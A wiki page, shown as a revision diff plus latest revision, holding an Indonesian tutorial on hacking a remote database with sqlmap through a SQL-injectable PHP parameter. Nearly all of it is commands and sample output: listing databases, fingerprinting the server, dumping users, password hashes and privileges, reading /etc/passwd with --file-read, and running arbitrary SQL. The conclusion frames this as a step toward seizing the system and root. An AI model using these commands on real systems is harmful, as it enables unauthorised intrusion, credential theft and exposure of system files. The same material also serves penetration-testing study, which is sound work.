Difference between revisions of "SQLMap: Contoh cara remote hack database"
Onnowpurbo (talk | contribs) (New page: In the previous post on sqlmap basics we learnt how to use sqlmap to hack a vulnerable web application and fetch the list of databases, tables, columns and data rows. In this post we shall...) |
Onnowpurbo (talk | contribs) |
||
(5 intermediate revisions by the same user not shown) | |||
Line 1: | Line 1: | ||
− | + | Misalnya, kita memperoleh URL yang vulnerable adalah, | |
+ | http://localhost/weak.php?id=10 | ||
+ | |||
+ | dimana parameter id tidak escape secara benar di code php dan vulner sql injection. | ||
+ | Perintah untuk me-list semua database yang ada di server tersebut adalah, | ||
− | |||
− | http://localhost/weak.php?id=10 | + | $ python ./sqlmap.py -u "http://localhost/weak.php?id=10" --dbs |
− | + | Kemudian gunakan opsi -T --columns dan --dump untuk melihat table yang ada di sebuah database, kolom dari tabel, data yang ada di tabel dan seterusnya. | |
− | + | ==Fingerprinting remote system dan database-nya== | |
− | |||
− | + | Untuk melihat informasi lebih lanjut tentang database yang ada di sistem remote, kita dapat menggunakan opsi "-b". Ini akan berusaha untuk meng-ekstrak banner dari server database. | |
+ | Jika kita coba terhadap database mysql, akan tampak sebagai berikut, | ||
− | |||
$ python sqlmap.py -u "http://localhost/weak.php?id=10" -b | $ python sqlmap.py -u "http://localhost/weak.php?id=10" -b | ||
Line 29: | Line 31: | ||
banner: '5.1.61' | banner: '5.1.61' | ||
− | + | Output dari banner text adalah "5.1.61". Ini adalah mysql banner dan tampak jelas terlihat dari versi mysql yang digunakan. Selanjutnya, kita dapat mencari di Google vulnerability yang mungkin ada untuk versi mysql tersebut. | |
+ | |||
+ | Perintah selanjutnya, mengambil daftar user dan role / fungsinya, menggunakan perintah berikut, | ||
− | |||
$ python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10 | $ python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10 | ||
Line 86: | Line 89: | ||
+ | Selanjutnya, untuk memperoleh user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname, kita dapat menggunakan perintah, | ||
+ | $ python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10 | ||
− | |||
− | |||
− | |||
− | |||
− | |||
........ | ........ | ||
[11:32:33] [INFO] the back-end DBMS is MySQL | [11:32:33] [INFO] the back-end DBMS is MySQL | ||
Line 117: | Line 117: | ||
current user is DBA: False | current user is DBA: False | ||
− | + | Di keluaran di atas, kita dapat melihat dengan jelas user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname. | |
− | == | + | ==Membaca system file== |
− | + | Di mysql, jika user database mempunyai ijin untuk operasi FILE, maka dia akan dapat membaca file dari file system. Dia dapat membaca "read only" file yang secara publik memang dapat dibaca atau yang memang dapat di baca oleh user mysql. Berikut adalah contoh cara membaca file /etc/passwd . | |
$ python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10 | $ python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10 | ||
− | sqlmap | + | sqlmap akan menyimpan file tersebut di directory-nya di file system lokal, sehingga dia dapat membaca-nya kemudian. |
− | == | + | ==Menjalankan perintah sql sembarang== |
− | + | Opsi sql-query dapat digunakan untuk menjalankan sql query sembarang ke database. | |
$ python sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();" | $ python sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();" | ||
Line 138: | Line 138: | ||
select now();: '2013-04-15 11:51:10' | select now();: '2013-04-15 11:51:10' | ||
− | + | Kalimat terakhir dari keluaran sql query yang jalan di server remote. | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
+ | ==Kesimpulan== | ||
+ | Jadi dengan semua informasi di atas itu akan lebih mudah untuk mendapatkan lebih lanjut ke dalam sistem dan akhirnya mengambil kendali dari itu, jika memungkinkan. Sqlmap melakukan tugas yang cukup besar dengan menemukan database, data dan rincian tentang sistem operasi. Tetapi dalam banyak kasus mungkin tidak dapat sepenuhnya memberikan kontrol dari sistem remote dalam bentuk shell. | ||
+ | Teknik lebih lanjut perlu digunakan untuk mendapatkan kontrol yang lebih besar dari sistem dan akhirnya root. | ||
==Referensi== | ==Referensi== | ||
* http://www.binarytides.com/hack-remote-database-sqlmap/ | * http://www.binarytides.com/hack-remote-database-sqlmap/ |
Latest revision as of 08:33, 19 February 2016
Misalnya, kita memperoleh URL yang vulnerable adalah,
http://localhost/weak.php?id=10
dimana parameter id tidak escape secara benar di code php dan vulner sql injection. Perintah untuk me-list semua database yang ada di server tersebut adalah,
$ python ./sqlmap.py -u "http://localhost/weak.php?id=10" --dbs
Kemudian gunakan opsi -T --columns dan --dump untuk melihat table yang ada di sebuah database, kolom dari tabel, data yang ada di tabel dan seterusnya.
Fingerprinting remote system dan database-nya
Untuk melihat informasi lebih lanjut tentang database yang ada di sistem remote, kita dapat menggunakan opsi "-b". Ini akan berusaha untuk meng-ekstrak banner dari server database. Jika kita coba terhadap database mysql, akan tampak sebagai berikut,
$ python sqlmap.py -u "http://localhost/weak.php?id=10" -b
..... [11:19:51] [INFO] the back-end DBMS is MySQL [11:19:51] [INFO] fetching banner [11:19:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [11:19:51] [INFO] retrieved: 5.1.61 web server operating system: Linux Red Hat Enterprise 6 (Santiago) web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.11 banner: '5.1.61'
Output dari banner text adalah "5.1.61". Ini adalah mysql banner dan tampak jelas terlihat dari versi mysql yang digunakan. Selanjutnya, kita dapat mencari di Google vulnerability yang mungkin ada untuk versi mysql tersebut.
Perintah selanjutnya, mengambil daftar user dan role / fungsinya, menggunakan perintah berikut,
$ python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10
.......... database management system users [5]: [*] @'localhost' [*] @'localhost.localdomain' [*] 'root'@'127.0.0.1' [*] 'root'@'localhost' [*] 'root'@'localhost.localdomain' ............. database management system users password hashes: [*] [1]: password hash: NULL [*] root [2]: password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 password hash: NULL ........ [*] %root% (administrator) [27]: privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE privilege: CREATE ROUTINE privilege: CREATE TEMPORARY TABLES privilege: CREATE USER privilege: CREATE VIEW privilege: DELETE privilege: DROP privilege: EVENT privilege: EXECUTE privilege: FILE privilege: INDEX privilege: INSERT privilege: LOCK TABLES privilege: PROCESS privilege: REFERENCES privilege: RELOAD privilege: REPLICATION CLIENT privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE
Selanjutnya, untuk memperoleh user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname, kita dapat menggunakan perintah,
$ python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10
........ [11:32:33] [INFO] the back-end DBMS is MySQL web server operating system: Linux Red Hat Enterprise 6 (Santiago) web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.11 [11:32:33] [INFO] fetching current user [11:32:33] [INFO] retrieving the length of query output [11:32:33] [INFO] retrieved: 14 [11:32:38] [INFO] retrieved: root@localhost current user: 'root@localhost' [11:32:38] [INFO] fetching current database [11:32:38] [INFO] retrieving the length of query output [11:32:38] [INFO] retrieved: 5 [11:32:40] [INFO] resumed: profile_data current database: 'profile_data' [11:32:40] [INFO] fetching server hostname [11:32:40] [INFO] retrieving the length of query output [11:32:40] [INFO] retrieved: 21 [11:32:48] [INFO] retrieved: localhost.localdomain hostname: 'localhost.localdomain' [11:32:48] [INFO] testing if current user is DBA [11:32:48] [INFO] fetching current user current user is DBA: False
Di keluaran di atas, kita dapat melihat dengan jelas user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname.
Membaca system file
Di mysql, jika user database mempunyai ijin untuk operasi FILE, maka dia akan dapat membaca file dari file system. Dia dapat membaca "read only" file yang secara publik memang dapat dibaca atau yang memang dapat di baca oleh user mysql. Berikut adalah contoh cara membaca file /etc/passwd .
$ python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10
sqlmap akan menyimpan file tersebut di directory-nya di file system lokal, sehingga dia dapat membaca-nya kemudian.
Menjalankan perintah sql sembarang
Opsi sql-query dapat digunakan untuk menjalankan sql query sembarang ke database.
$ python sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();"
........... [11:50:22] [INFO] retrieved: 2013-04-15 11:51:10 select now();: '2013-04-15 11:51:10'
Kalimat terakhir dari keluaran sql query yang jalan di server remote.
Kesimpulan
Jadi dengan semua informasi di atas itu akan lebih mudah untuk mendapatkan lebih lanjut ke dalam sistem dan akhirnya mengambil kendali dari itu, jika memungkinkan. Sqlmap melakukan tugas yang cukup besar dengan menemukan database, data dan rincian tentang sistem operasi. Tetapi dalam banyak kasus mungkin tidak dapat sepenuhnya memberikan kontrol dari sistem remote dalam bentuk shell.
Teknik lebih lanjut perlu digunakan untuk mendapatkan kontrol yang lebih besar dari sistem dan akhirnya root.